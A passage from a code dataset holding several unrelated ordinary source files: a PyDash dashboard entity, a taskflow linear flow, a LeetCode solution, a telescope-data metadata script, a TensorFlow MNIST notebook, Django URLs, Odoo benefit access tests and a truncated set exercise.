'total_execution_time': 0.6, 'average_execution_time': 0.2, 'visits_per_ip': {'127.0.0.1': 3}, 'unique_visitors': 1, 'fastest_measured_execution_time': 0.2, 'fastest_quartile_execution_time': 0.2, 'median_execution_time': 0.2, 'slowest_quartile_execution_time': 0.2, 'ninetieth_percentile_execution_time': 0.2, 'ninety-ninth_percentile_execution_time': 0.2, 'slowest_measured_execution_time': 0.2, 'versions': ['0.1']}\n\n\"\"\"\n\nimport uuid\nimport persistent\nfrom enum import Enum\nfrom datetime import datetime, timedelta, timezone\n\nfrom pydash_app.dashboard.downtime import DowntimeLog\n\nfrom pydash_app.dashboard.endpoint import Endpoint\nfrom ..dashboard.aggregator import Aggregator\nfrom pydash_app.dashboard.aggregator.aggregator_group import AggregatorGroup, truncate_datetime_by_granularity\n\nclass DashboardState(Enum):\n \"\"\"\n The DashboardState enum indicates the state in which a Dashboard can remain, regarding remote fetching:\n\n - not_initialized indicates the dashboard is newly created and not initialized with Endpoints and\n historic EndpointCalls;\n\n - initialized_endpoints indicates the dashboard has successfully initialized Endpoints,\n but not yet historical EndpointCalls;\n - initialize_endpoints_failure indicates something went wrong while initializing Endpoints, which means\n initialization of Endpoints needs to be retried;\n\n - initialized_endpoint_calls indicates the dashboard has successfully initialized historical EndpointCalls,\n and can start fetching new EndpointCalls in a periodic task;\n - initialize_endpoint_calls_failure indicates something went wrong while initializing historical EndpointCalls,\n which means this needs to be retried;\n\n - fetched_endpoint_calls indicates last time new EndpointCalls were fetched, it was done successfully;\n - fetch_endpoint_calls_failure indicates something went wrong while fetching new EndpointCalls,\n which means this needs to be retried.\n \"\"\"\n not_initialized = 0\n\n initialized_endpoints = 10\n initialize_endpoints_failure = 11\n\n initialized_endpoint_calls = 20\n initialize_endpoint_calls_failure = 21\n\n fetched_endpoint_calls = 30\n fetch_endpoint_calls_failure = 31\n\n\nclass Dashboard(persistent.Persistent):\n \"\"\"\n The Dashboard entity knows about:\n - Its own properties (id, url, user_id, endpoints, endpoint_calls and last_fetch_time)\n - The functionalities for Dashboard interactions with information from elsewhere.\n\n It does not contain information on how to persistently store/load a dashboard.\n This task is handled by the `dashboard_repository`.\n \"\"\"\n\n def __init__(self, url, token, user_id, name=None, monitor_downtime=False):\n if not isinstance(url, str) or not isinstance(token, str):\n raise TypeError(\"Dashboard expects both url and token to be strings.\")\n\n if name is not None and not isinstance(name, str):\n raise TypeError(\"Dashboard expects name to be a string.\")\n\n if not isinstance(monitor_downtime, bool):\n raise TypeError(\"Dashboard expects monitor_downtime to be a string.\")\n\n # Make sure integers and strings are allowed as well.\n if not isinstance(user_id, uuid.UUID):\n user_id = uuid.UUID(user_id)\n\n self.id = uuid.uuid4()\n self.url = url\n self.user_id = user_id\n self.token = token\n self.name = name\n\n self.endpoints = dict() # name -> Endpoint\n\n self.last_fetch_time = None\n self.state = DashboardState.not_initialized\n self.error = None\n\n self._endpoint_calls = [] # list of unfiltered endpoint calls, for use with an aggregator.\n self._aggregator_group = AggregatorGroup()\n\n self.monitor_downtime = monitor_downtime\n self._downtime_log = DowntimeLog()\n\n def __repr__(self):\n return f'<{self.__class__.__name__} id={self.id} url={self.url}>'\n\n def get_id(self):\n return str(self.id)\n\n def add_endpoint(self, endpoint):\n \"\"\"\n Adds an endpoint to this dashboard's internal collection of endpoints.\n :param endpoint: The endpoint to add, expects an Endpoint object.\n \"\"\"\n self.endpoints[endpoint.name] = endpoint\n\n def remove_endpoint(self, endpoint):\n \"\"\"\n Removes an endpoint from this dashboard's internal collection of endpoints.\n :param endpoint: The endpoint to remove.\n :raises ValueError: If no such endpoint exists within this dashboard's internal collection of endpoints.\n \"\"\"\n # TODO: perhaps remove all relevant endpoint calls from endpoint_calls? Discuss with team.\n # TODO: Is this function required at all?\n del self.endpoints[endpoint.name]\n\n def add_endpoint_call(self, endpoint_call):\n \"\"\"\n Adds an endpoint call to the dashboard. Will register the corresponding endpoint to the dashboard if this has\n not been done yet.\n :param endpoint_call: The endpoint call to add\n \"\"\"\n # Adds endpoint to list of endpoints if it has not been registered yet.\n if endpoint_call.endpoint not in self.endpoints: # Note: this is possible, because the names are the keys.\n self.add_endpoint(Endpoint(endpoint_call.endpoint, True))\n self.endpoints[endpoint_call.endpoint].add_endpoint_call(endpoint_call)\n\n self._endpoint_calls.append(endpoint_call)\n self._aggregator_group.add_endpoint_call(endpoint_call)\n\n def first_endpoint_call_time(self):\n \"\"\"Returns the first endpoint call time of this dashboard, or None if no endpoint calls have been added yet.\"\"\"\n if not self._endpoint_calls:\n return None\n else:\n return self._endpoint_calls[0].time\n\n # Required because `multi_indexed_collection` puts dashboards in a set,\n # that needs to order its keys for fast lookup.\n # Because the IDs are unchanging integer values, use that.\n def __lt__(self, other):\n return self.id < other.id\n\n def aggregated_data(self, filters={}):\n \"\"\"\n Returns aggregated data on this dashboard.\n :param filters: A dictionary containing property_name-value pairs to filter on. The keys are assumed to be strings.\n This is in the gist of `{'day':'2018-05-20', 'ip':'127.0.0.1'}`, thus filtering on a specific Time and IP combination.\n Defaults to an empty dictionary.\n\n The currently allowed filter_names are:\n - Time:\n * 'year' - e.g. '2018'\n * 'month' - e.g. '2018-05'\n * 'week' - e.g. '2018-W17'\n * 'day' - e.g. '2018-05-20'\n * 'hour' - e.g. '2018-05-20T20'\n * 'minute' - e.g. '2018-05-20T20-10'\n Note that for Time filter-values, the formatting is crucial.\n\n - Version:\n * 'version' - e.g. '1.0.1'\n\n - IP:\n * 'ip' - e.g. '127.0.0.1'\n\n - Group-by:\n * 'group_by' - e.g. 'None'\n\n :return: A dict containing aggregated data points.\n \"\"\"\n return self._aggregator_group.fetch_aggregator(filters).as_dict()\n\n def aggregated_data_daterange(self, start_date, end_date, filters={}):\n \"\"\"\n Returns the aggregated data on this dashboard over the specified daterange.\n :param start_date: A datetime object that is treated as the inclusive lower bound of the daterange.\n :param end_date: A datetime object that is treated as the exclusive upper bound of the daterange.\n :param filters: A dictionary containing property_name-value pairs to filter on. The keys are assumed to be strings.\n This is in the gist of `{'version':'1.0.1', 'ip':'127.0.0.1'}`, thus filtering on a specific Version and IP combination.\n Defaults to an empty dictionary.\n\n The currently allowed filter_names are:\n - Version:\n * 'version' - e.g. '1.0.1'\n\n - IP:\n * 'ip' - e.g. '127.0.0.1'\n\n - Group-by:\n * 'group_by' - e.g. 'None'\n\n Note that, contrary to `aggregated_data` method, Time based filters are not allowed.\n\n :return: A dictionary with all aggregated statistics and their values.\n \"\"\"\n return self._aggregator_group.fetch_aggregator_daterange(filters, start_date, end_date).as_dict()\n\n def statistic(self, statistic, filters={}):\n \"\"\"\n Returns the desired statistic of this dashboard, filtered by the specified filters.\n :param statistic: A string denoting the statistic in question. The complete amount of allowed statistics is:\n - 'total_visits'\n - 'total_execution_time'\n - 'average_execution_time'\n - 'visits_per_ip'\n - 'unique_visitors'\n - 'fastest_measured_execution_time'\n - 'fastest_quartile_execution_time'\n - 'median_execution_time'\n - 'slowest_quartile_execution_time'\n - 'ninetieth_percentile_execution_time'\n - 'ninety-ninth_percentile_execution_time'\n - 'slowest_measured_execution_time'\n - 'versions'\n :param filters: A dictionary containing property_name-value pairs to filter on. The keys are assumed to be strings.\n This is in the gist of `{'day':'2018-05-20', 'ip':'127.0.0.1'}`, thus filtering on a specific Time and IP combination.\n Defaults to an empty dictionary.\n\n The currently allowed filter_names are:\n - Time:\n * 'year' - e.g. '2018'\n * 'month' - e.g. '2018-05'\n * 'week' - e.g. '2018-W17'\n * 'day' - e.g. '2018-05-20'\n * 'hour' - e.g. '2018-05-20T20'\n * 'minute' - e.g. '2018-05-20T20-10'\n Note that for Time filter-values, the formatting is crucial.\n\n - Version:\n * 'version' - e.g. '1.0.1'\n\n - IP:\n * 'ip' - e.g. '127.0.0.1'\n\n - Group-by:\n * 'group_by' - e.g. 'None'\n\n :return: The desired statistic of this dashboard.\n :raises ValueError: This happens when the filters are not supported by the dashboard, or when two filters of\n the same type are provided.\n :raises KeyError: This happens when the statistic is not supported by the dashboard.\n \"\"\"\n return self._aggregator_group.fetch_aggregator(filters).as_dict()[statistic]\n \n def statistic_per_timeslice(self, statistic, timeslice, timeslice_is_static, start_datetime, end_datetime, filters={}):\n \"\"\"\n Slices up the specified datetime range (=[start_datetime, end_datetime)) into slices of the size of `timeslice`.\n For each datetime slice it computes the value of the denoted statistic and returns a dictionary containing these pairs.\n (Note that a returned datetime slice is a string: represented as the start of that slice and formatted according\n to the ISO-8601 standard.\n Filters can be applied to narrow down the search.\n\n :param statistic: A string denoting the statistic in question. The complete amount of allowed statistics is:\n - 'total_visits'\n - 'total_execution_time'\n - 'average_execution_time'\n - 'visits_per_ip'\n - 'unique_visitors'\n - 'fastest_measured_execution_time'\n - 'fastest_quartile_execution_time'\n - 'median_execution_time'\n - 'slowest_quartile_execution_time'\n - 'ninetieth_percentile_execution_time'\n - 'ninety-ninth_percentile_execution_time'\n - 'slowest_measured_execution_time'\n - 'versions'\n :param timeslice: A string denoting at what granularity the indicated datetime range should be split.\n The currently supported values for this are: 'year', 'month', 'week', 'day', 'hour' and 'minute'.\n :param timeslice_is_static: A boolean denoting whether the given timeslice should be interpreted as being 'static' or 'dynamic'.\n A 'static' timeslice encompasses a preset datetime range (e.g. the month of May or the 25th day of May).\n `start_datetime` and `end_datetime` are expected to be equal to the start of their respective timeslice\n (e.g. 2000-01-01 with timeslice 'month', instead of something like 2000-01-20).\n A 'dynamic' timeslice on the other hand encompasses a set timespan (e.g. a week or a day).\n As such, timeslices whose length are not consistent (such as 'year' and 'month', excluding leap seconds) are not allowed.\n :param start_datetime: A datetime object indicating the inclusive lower bound for the datetime range to\n aggregate over.\n :param end_datetime: A datetime object indicating the exclusive upper bound for the datetime range to\n aggregate over.\n :param filters: A dictionary containing property_name-value pairs to filter on. The keys are assumed to be strings.\n This is in the gist of `{'version':'1.0.1', 'ip':'127.0.0.1'}`, thus filtering on a specific Version and IP combination.\n Defaults to an empty dictionary.\n\n The currently allowed filter_names are:\n - Version:\n * 'version' - e.g. '1.0.1'\n\n - IP:\n * 'ip' - e.g. '127.0.0.1'\n\n - Group-by:\n * 'group_by' - e.g. 'None'\n\n Note that, contrary to `aggregated_data` method, Time based filters are not allowed.\n :return: A dictionary containing datetime instances as keys and the corresponding statistic values of this dashboard as values.\n :raises ValueError: This happens when:\n - the filters are not supported by the dashboard\n - two filters of the same type are provided\n - a Time based filter is provided\n - `timeslice_is_static` is True and `start_datetime` or `end_datetime` are not at the start of their respective granularity.\n :raises KeyError: This happens when the statistic is not supported by the dashboard.\n \"\"\"\n\n if timeslice_is_static and (start_datetime != truncate_datetime_by_granularity(start_datetime, timeslice) or\n end_datetime != truncate_datetime_by_granularity(end_datetime, timeslice)):\n raise ValueError(f\"start_datetime and end_datetime should denote the start of their respective {timeslice}.\")\n\n return_dict = {}\n print(f'start_datetime={start_datetime}, end_datetime={end_datetime}')\n for datetime, aggregator in self._aggregator_group.fetch_aggregators_per_timeslice(filters, timeslice,\n start_datetime,\n end_datetime\n ).items():\n return_dict[datetime] = aggregator.as_dict()[statistic]\n\n return return_dict\n\n def add_ping_result(self, is_up, ping_datetime=datetime.now(tz=timezone.utc)):\n \"\"\"\n Adds the result of a ping request to the dashboard.\n :param is_up: Whether the dashboard's web service is up.\n :param ping_datetime: When the ping took place (approximately); defaults to the current time in UTC.\n \"\"\"\n self._downtime_log.add_ping_result(is_up, ping_datetime)\n\n def get_downtime_data(\n self,\n start=datetime.now(tz=timezone.utc).date() - timedelta(days=90),\n end=datetime.now(tz=timezone.utc).date()):\n \"\"\"\n Returns a dict containing this dashboard's downtime data for a given date range.\n :param start: The start date (exclusive; defaults to 90 days before the current date).\n :param end: The end date (inclusive; defaults to the current date).\n :return: A dictionary containing the dashboard's downtime data in the given date range.\n \"\"\"\n return {\n 'downtime_intervals': self._downtime_log.get_downtime_intervals(start, end),\n 'total_downtimes': self._downtime_log.get_total_downtimes(start, end),\n 'downtime_percentage': self._downtime_log.get_downtime_percentage(start, end)\n }\n\n # Required because `multi_indexed_collection` puts dashboards in a set,\n # that needs to order its keys for fast lookup.\n # Because the IDs are unchanging integer values, use that.\n def __lt__(self, other):\n return self.id < other.id\n","repo_name":"RUGSoftEng/2018-PyDash.io","sub_path":"pydash/pydash_app/dashboard/entity.py","file_name":"entity.py","file_ext":"py","file_size_in_byte":18965,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"} +{"seq_id":"40668486137","text":"from taskflow import flow\nfrom taskflow.types import graph as gr\n\n\nclass Flow(flow.Flow):\n \"\"\"Linear flow pattern.\n\n A linear (potentially nested) flow of *tasks/flows* that can be\n applied in order as one unit and rolled back as one unit using\n the reverse order that the *tasks/flows* have been applied in.\n \"\"\"\n\n _no_last_item = object()\n \"\"\"Sentinel object used to denote no last item has been assigned.\n\n This is used to track no last item being added, since at creation there\n is no last item, but since the :meth:`.add` routine can take any object\n including none, we have to use a different object to be able to\n distinguish the lack of any last item...\n \"\"\"\n\n def __init__(self, name, retry=None):\n super(Flow, self).__init__(name, retry)\n self._graph = gr.OrderedDiGraph(name=name)\n self._last_item = self._no_last_item\n\n def add(self, *items):\n \"\"\"Adds a given task/tasks/flow/flows to this flow.\"\"\"\n for item in items:\n if not self._graph.has_node(item):\n self._graph.add_node(item)\n if self._last_item is not self._no_last_item:\n self._graph.add_edge(self._last_item, item,\n attr_dict={flow.LINK_INVARIANT: True})\n self._last_item = item\n return self\n\n def __len__(self):\n return len(self._graph)\n\n def __iter__(self):\n for item in self._graph.nodes:\n yield item\n\n @property\n def requires(self):\n requires = set()\n prior_provides = set()\n if self._retry is not None:\n requires.update(self._retry.requires)\n prior_provides.update(self._retry.provides)\n for item in self:\n requires.update(item.requires - prior_provides)\n prior_provides.update(item.provides)\n return frozenset(requires)\n\n def iter_nodes(self):\n for (n, n_data) in self._graph.nodes(data=True):\n yield (n, n_data)\n\n def iter_links(self):\n for (u, v, e_data) in self._graph.edges(data=True):\n yield (u, v, e_data)\n","repo_name":"openstack/taskflow","sub_path":"taskflow/patterns/linear_flow.py","file_name":"linear_flow.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","stars":340,"dataset":"github-code","pt":"38"} +{"seq_id":"4730890534","text":"# Amazon Apple Google\n# You are given two strings word1 and word2. Merge the strings by adding letters in alternating order, starting with word1. \n# If a string is longer than the other, append the additional letters onto the end of the merged string.\n\n# Return the merged string.\n\n# Example 1:\n\n# Input: word1 = \"abc\", word2 = \"pqr\"\n# Output: \"apbqcr\"\n# Explanation: The merged string will be merged as so:\n# word1: a b c\n# word2: p q r\n# merged: a p b q c r\n\nclass Solution:\n def mergeAlternately(self, word1: str, word2: str) -> str:\n w1 = len(word1)\n w2 = len(word2)\n i1 = i2 = 0\n result = ''\n\n while w1 > i1 or w2 > i2:\n if w1 > i1:\n result += word1[i1]\n i1 += 1\n if w2 > i2:\n result += word2[i2]\n i2 += 1\n\n return result\n","repo_name":"dimoka777/leetcode-solutions","sub_path":"1768. Merge Strings Alternately.py","file_name":"1768. Merge Strings Alternately.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36382479635","text":"def getMetadata(load_metadata=True):\n\n file_path = 'File_event_count.csv'\n \n if load_metadata:\n df = pd.read_csv(file_path)\n \n else:\n # Path to the directory containing subdirectories and all datafile\n main_path = '/net/big-tank/POOL/projects/fact/simulation/photon_stream/fact_tools/v.0.18.0/'\n\n # Iterate over every file in the subdirs and check if it has the right file extension\n file_paths = [os.path.join(dirPath, file) for dirPath, dirName, fileName in os.walk(os.path.expanduser(main_path)) for file in fileName if '.json' in file]\n \n # Count numbers of files in every subdir\n proton_files = []\n gustav_files = []\n werner_files = []\n fehler_files = []\n\n for file in file_paths:\n if 'proton' in file:\n proton_files.append(file)\n elif 'gustav' in file:\n gustav_files.append(file)\n elif 'werner' in file:\n werner_files.append(file)\n else: fehler_files.append(file)\n \n # Count every element in every file\n events = []\n for subdir in [proton_files, gustav_files, werner_files]:\n file_list = []\n for file in subdir:\n event_count = 0\n with gzip.open(file) as event_data:\n for event in event_data:\n event_count += 1\n file_list.append([file, event_count])\n events.append(file_list)\n \n data = []\n for elem in events:\n for i in elem:\n data.append(i)\n \n # Save metadata to a df\n df = pd.DataFrame(data, columns=['File_name', 'Event_count'])\n df['Particle'] = df['File_name'].apply(lambda x: False if 'proton' in x else True)\n df.to_csv(file_path, encoding='utf-8', index=False)\n \n return df","repo_name":"JMBehnken/Gamma_Hadron_Separation_With_Deep_Learning_for_the_First_G-APD_Cherenkov_Telescope","sub_path":"02a_Keras_Pipeline/getMetadata.py","file_name":"getMetadata.py","file_ext":"py","file_size_in_byte":1926,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"3699477196","text":"from django.urls import path\nfrom relatorio.views import *\n\nurlpatterns = [\n path('pdf/', PDFView.as_view(), name='pdf'),\n # path('index2', IndexView2.as_view(), name='index2'),\n\n path('', IndexView.as_view(), name='index'),\n path('some/', some_view, name='some'),\n path('some2/', some_view2, name='some2'),\n path('some3/', some_view3, name='some3'),\n\n path('reportpdf/', reportpdf, name='reportpdf'),\n path('reportpdfpage/', reportpdfpage, name='reportpdfpage'),\n\n path('lista/', lista, name='lista'),\n\n path('contact-list/', ContactListView.as_view(), name='contact-list'),\n\n path('contact-detail//', ContactDetailView.as_view(), name='contact-detail'),\n\n path('contact-detailpdf//', detail_pdf, name='contact-detailpdf'),\n\n path('contact-detailpdf2//', detail_pdf2, name='contact-detailpdf2'),\n]\n","repo_name":"jeancharlles/reportpdf","sub_path":"relatorio/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29557037727","text":"# Perceptron with Iris dataset (Scikit)\n\nimport numpy as np\n\nfrom sklearn.datasets import load_iris\niris = load_iris()\n\nX = iris.data[:, (2, 3)] # petal length, petal width\ny = (iris.target == 0).astype(np.int)\n\nfrom sklearn.linear_model import Perceptron\n\nper_clf = Perceptron(random_state=42)\nper_clf.fit(X, y)\n\ny_pred = per_clf.predict([[2, 0.5]])\nprint(y_pred)\n\nimport matplotlib.pyplot as plt\n\na = -per_clf.coef_[0][0] / per_clf.coef_[0][1]\nb = -per_clf.intercept_ / per_clf.coef_[0][1]\n\naxes = [0, 5, 0, 2]\n\nx0, x1 = np.meshgrid(\n np.linspace(axes[0], axes[1], 500).reshape(-1, 1),\n np.linspace(axes[2], axes[3], 200).reshape(-1, 1),\n )\n\nX_new = np.c_[\n x0.ravel(), \n x1.ravel()]\n\ny_predict = per_clf.predict(X_new)\n\nzz = y_predict.reshape(x0.shape)\n\nplt.figure(figsize=(10, 4))\nplt.plot(X[y==0, 0], X[y==0, 1], \"bs\", label=\"Not Iris-Setosa\")\nplt.plot(X[y==1, 0], X[y==1, 1], \"yo\", label=\"Iris-Setosa\")\n\nplt.plot(\n [axes[0], \n axes[1]], \n [a * axes[0] + b, \n a * axes[1] + b], \n \"k-\", linewidth=3)\n\nfrom matplotlib.colors import ListedColormap\ncustom_cmap = ListedColormap(['#9898ff', '#fafab0'])\n\nplt.contourf(x0, x1, zz, cmap=custom_cmap, linewidth=5)\nplt.xlabel(\"Petal length\", fontsize=14)\nplt.ylabel(\"Petal width\", fontsize=14)\nplt.legend(loc=\"lower right\", fontsize=14)\nplt.axis(axes)\n\n#save_fig(\"perceptron_iris_plot\")\nplt.show()\n\n# Activation functions\n\ndef logit(z):\n return 1 / (1 + np.exp(-z))\n\ndef relu(z):\n return np.maximum(0, z)\n\ndef derivative(f, z, eps=0.000001):\n return (f(z + eps) - f(z - eps))/(2 * eps)\n\nz = np.linspace(-5, 5, 200)\n\nplt.figure(figsize=(11,4))\n\nplt.subplot(121)\nplt.plot(z, np.sign(z), \"r-\", linewidth=2, label=\"Step\")\nplt.plot(z, logit(z), \"g--\", linewidth=2, label=\"Logit\")\nplt.plot(z, np.tanh(z), \"b-\", linewidth=2, label=\"Tanh\")\nplt.plot(z, relu(z), \"m-.\", linewidth=2, label=\"ReLU\")\nplt.grid(True)\nplt.legend(loc=\"center right\", fontsize=14)\nplt.title(\"Activation functions\", fontsize=14)\nplt.axis([-5, 5, -1.2, 1.2])\n\nplt.subplot(122)\nplt.plot(z, derivative(np.sign, z), \"r-\", linewidth=2, label=\"Step\")\nplt.plot(0, 0, \"ro\", markersize=5)\nplt.plot(0, 0, \"rx\", markersize=10)\nplt.plot(z, derivative(logit, z), \"g--\", linewidth=2, label=\"Logit\")\nplt.plot(z, derivative(np.tanh, z), \"b-\", linewidth=2, label=\"Tanh\")\nplt.plot(z, derivative(relu, z), \"m-.\", linewidth=2, label=\"ReLU\")\nplt.grid(True)\n#plt.legend(loc=\"center right\", fontsize=14)\nplt.title(\"Derivatives\", fontsize=14)\nplt.axis([-5, 5, -0.2, 1.2])\n\n#save_fig(\"activation_functions_plot\")\nplt.show()\n\n# activation functions, continued\ndef heaviside(z):\n return (z >= 0).astype(z.dtype)\n\ndef sigmoid(z):\n return 1/(1+np.exp(-z))\n\ndef mlp_xor(x1, x2, activation=heaviside):\n return activation(\n -activation(x1 + x2 - 1.5) + activation(x1 + x2 - 0.5) - 0.5)\n\nx1s = np.linspace(-0.2, 1.2, 100)\nx2s = np.linspace(-0.2, 1.2, 100)\nx1, x2 = np.meshgrid(x1s, x2s)\n\nz1 = mlp_xor(x1, x2, activation=heaviside)\nz2 = mlp_xor(x1, x2, activation=sigmoid)\n\nplt.figure(figsize=(10,4))\n\nplt.subplot(121)\nplt.contourf(x1, x2, z1)\nplt.plot([0, 1], [0, 1], \"gs\", markersize=20)\nplt.plot([0, 1], [1, 0], \"y^\", markersize=20)\nplt.title(\"Activation function: heaviside\", fontsize=14)\nplt.grid(True)\n\nplt.subplot(122)\nplt.contourf(x1, x2, z2)\nplt.plot([0, 1], [0, 1], \"gs\", markersize=20)\nplt.plot([0, 1], [1, 0], \"y^\", markersize=20)\nplt.title(\"Activation function: sigmoid\", fontsize=14)\nplt.grid(True)\nplt.show()\n\nimport tensorflow as tf\n\ntf.reset_default_graph()\n\nn_inputs = 28*28 # MNIST\nn_hidden1 = 300\nn_hidden2 = 100\nn_outputs = 10\nlearning_rate = 0.01\n\n# placeholders for training data & targets\n# X,y only partially defined due to unknown #instances in training batches\n\nX = tf.placeholder(tf.float32, shape=(None, n_inputs), name=\"X\")\ny = tf.placeholder(tf.int64, shape=(None), name=\"y\")\n\n# now need to create two hidden layers + one output layer\n\n'''\nNo need to define your own. TF shortcuts:\nfully_connected()\n'''\n\ndef neuron_layer(X, n_neurons, name, activation=None):\n \n # define a name scope to aid readability\n with tf.name_scope(name):\n \n n_inputs = int(X.get_shape()[1])\n \n # create weights matrix. 2D (#inputs, #neurons)\n # randomly initialized w/ truncated Gaussian, stdev = 2/sqrt(#inputs)\n # aids convergence speed\n \n stddev = 1 / np.sqrt(n_inputs)\n init = tf.truncated_normal((n_inputs, n_neurons), stddev=stddev) \n W = tf.Variable(init, name=\"weights\")\n \n # create bias variable, initialized to zero, one param per neuron\n b = tf.Variable(tf.zeros([n_neurons]), name=\"biases\")\n \n # Z = X dot W + b\n Z = tf.matmul(X, W) + b\n \n # return relu(z), or simply z\n if activation==\"relu\":\n return tf.nn.relu(Z)\n else:\n return Z\n\nwith tf.name_scope(\"dnn\"):\n hidden1 = neuron_layer(X, n_hidden1, \"hidden1\", activation=\"relu\")\n hidden2 = neuron_layer(hidden1, n_hidden2, \"hidden2\", activation=\"relu\")\n \n # logits = NN output before going thru softmax activation\n logits = neuron_layer(hidden2, n_outputs, \"output\")\n\nwith tf.name_scope(\"loss\"):\n \n # sparse_softmax_cross_entropy_with_logits() -- TF routine, handles corner cases for you.\n xentropy = tf.nn.sparse_softmax_cross_entropy_with_logits(\n labels=y, \n logits=logits)\n \n # use reduce_mean() to find mean cross-entropy over all instances.\n loss = tf.reduce_mean(\n xentropy, \n name=\"loss\")\n\n# use GD to handle cost function, ie minimize loss\nwith tf.name_scope(\"train\"):\n optimizer = tf.train.GradientDescentOptimizer(learning_rate)\n training_op = optimizer.minimize(loss)\n\n# use accuracy as performance measure.\n\nwith tf.name_scope(\"eval\"): # verify whether highest logit corresponds to target class\n correct = tf.nn.in_top_k( # using in_top_k(), returns 1D tensor of booleans\n logits, y, 1)\n \n accuracy = tf.reduce_mean( # recast booleans to float & find avg.\n tf.cast(correct, tf.float32)) # this gives overall accuracy number.\n\ninit = tf.global_variables_initializer() # initializer node\nsaver = tf.train.Saver() # to save trained params to disk\n\n# load MNIST\n\nfrom tensorflow.examples.tutorials.mnist import input_data\nmnist = input_data.read_data_sets(\"/tmp/data/\")\n\nn_epochs = 20\nbatch_size = 50\n\n# Train\nwith tf.Session() as sess:\n\n init.run() # initialize all variables\n \n for epoch in range(n_epochs):\n for iteration in range(mnist.train.num_examples // batch_size):\n\n # use next_batch() to fetch data\n X_batch, y_batch = mnist.train.next_batch(batch_size)\n\n sess.run(\n training_op, \n feed_dict={X: X_batch, y: y_batch})\n\n acc_train = accuracy.eval(\n feed_dict={X: X_batch, y: y_batch})\n\n acc_test = accuracy.eval(\n feed_dict={X: mnist.test.images,\n y: mnist.test.labels})\n\n print(epoch, \"Train accuracy:\", acc_train, \"Test accuracy:\", acc_test)\n\n save_path = saver.save(sess, \"./my_model_final.ckpt\")\n\nwith tf.Session() as sess:\n\n # load from disk\n saver.restore(sess, save_path) #\"my_model_final.ckpt\")\n \n # grab images you want to classify\n X_new_scaled = mnist.test.images[:20]\n \n Z = logits.eval(feed_dict={X: X_new_scaled})\n print(np.argmax(Z, axis=1))\n print(mnist.test.labels[:20])\n\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/ch10-neural-nets.py","file_name":"ch10-neural-nets.py","file_ext":"py","file_size_in_byte":7534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"14091310348","text":"from datetime import date\n\nfrom odoo.tests import new_test_user\n\nfrom odoo.addons.hr_benefit.tests import common as benefit_common\n\n\nclass TestBenefit(benefit_common.TestBenefitCommon):\n @classmethod\n def setUpClass(cls):\n super(TestBenefit, cls).setUpClass()\n\n cls.PremiumPayment = cls.env[\"hr.benefit.premium.payment\"]\n # Payroll Manager user\n cls.userPM = new_test_user(\n cls.env,\n login=\"pm\",\n groups=\"base.group_user,payroll.group_payroll_manager\",\n name=\"Payroll manager\",\n )\n # Payroll user\n cls.userPU = new_test_user(\n cls.env,\n login=\"pu\",\n groups=\"base.group_user,payroll.group_payroll_user\",\n name=\"Payroll manager\",\n )\n\n def test_policy_access(self):\n \"\"\"\n hr.benefit.policy access: Payroll Mgr - read-only, Payroll User read-only\n \"\"\"\n\n bn1 = self.create_benefit(self.benefit_create_vals)\n bn2 = self.create_benefit(\n {\n \"name\": \"BenefitB\",\n \"code\": \"B\",\n \"multi_policy\": True,\n }\n )\n pol = self.create_policy(self.eeJohn, bn1, date.today())\n\n # Mgr\n # Succeeds because of payroll user rights\n self.create_succeeds(\n self.userPM,\n self.Policy,\n {\n \"name\": \"tbp\",\n \"employee_id\": self.eeJohn.id,\n \"benefit_id\": bn2.id,\n \"start_date\": date.today(),\n },\n )\n self.unlink_fails(self.userPM, pol)\n self.read_succeeds(self.userPM, self.Policy, pol.id)\n self.write_succeeds(self.userPM, self.Policy, pol.id, {\"name\": \"tbp2\"})\n\n # User\n # addons/payroll where payroll officer is created implies group: HR Officer\n self.create_succeeds(\n self.userPU,\n self.Policy,\n {\n \"name\": \"tbp\",\n \"employee_id\": self.eeJohn.id,\n \"benefit_id\": bn2.id,\n \"start_date\": date.today(),\n },\n )\n self.unlink_fails(self.userPU, pol)\n self.read_succeeds(self.userPU, self.Policy, pol.id)\n self.write_succeeds(self.userPU, self.Policy, pol.id, {\"name\": \"tbp2\"})\n\n def test_policy_user_own(self):\n \"\"\"A user can only read his/her own policies\"\"\"\n\n bn1 = self.create_benefit(self.benefit_create_vals)\n polJohn = self.create_policy(self.eeJohn, bn1, date.today())\n polPaul = self.create_policy(self.eePaul, bn1, date.today())\n grpOfficer = self.env.ref(\"hr.group_hr_user\")\n self.assertNotIn(grpOfficer, self.userJohn.groups_id)\n self.assertNotEqual(polJohn, polPaul)\n self.assertEqual(self.userJohn, polJohn.employee_id.user_id)\n self.assertEqual(self.userPaul, polPaul.employee_id.user_id)\n\n # John can read his own policy\n self.read_succeeds(self.userJohn, self.Policy, polJohn.id)\n # but not Paul's\n self.read_fails(self.userJohn, self.Policy, polPaul.id)\n # John can't modify his own policy or Paul's\n self.write_fails(self.userJohn, self.Policy, polJohn.id, {\"note\": \"A\"})\n self.write_fails(self.userJohn, self.Policy, polPaul.id, {\"note\": \"A\"})\n","repo_name":"trevi-software/trevi-hr","sub_path":"hr_benefit_payroll/tests/test_benefit_access.py","file_name":"test_benefit_access.py","file_ext":"py","file_size_in_byte":3319,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"15279884157","text":"# task6_3\n# Create 2 collections storing company employees, get number of employees working in both companies,\n# get collection of employees with some name from both of groups, input several names\n# and find if they work in one of companies, print results\ncompany_1 = {'Levon', 'Atom', 'Njdeh', 'Martin', 'Abel', 'Robert', 'Arina', 'Sevak', 'Hrayr', 'Hayk', 'Anahit'}\ncompany_2 = {'Armen', 'Armine', 'Martin', 'Abel', 'Karen', 'Arina', 'Sevak', 'Hrachya', 'Haykuhi', 'Anahit'}\nprint('number of employees working in both companies is ', len(company_1) + len(company_2), '\\n')\ncol_1 = 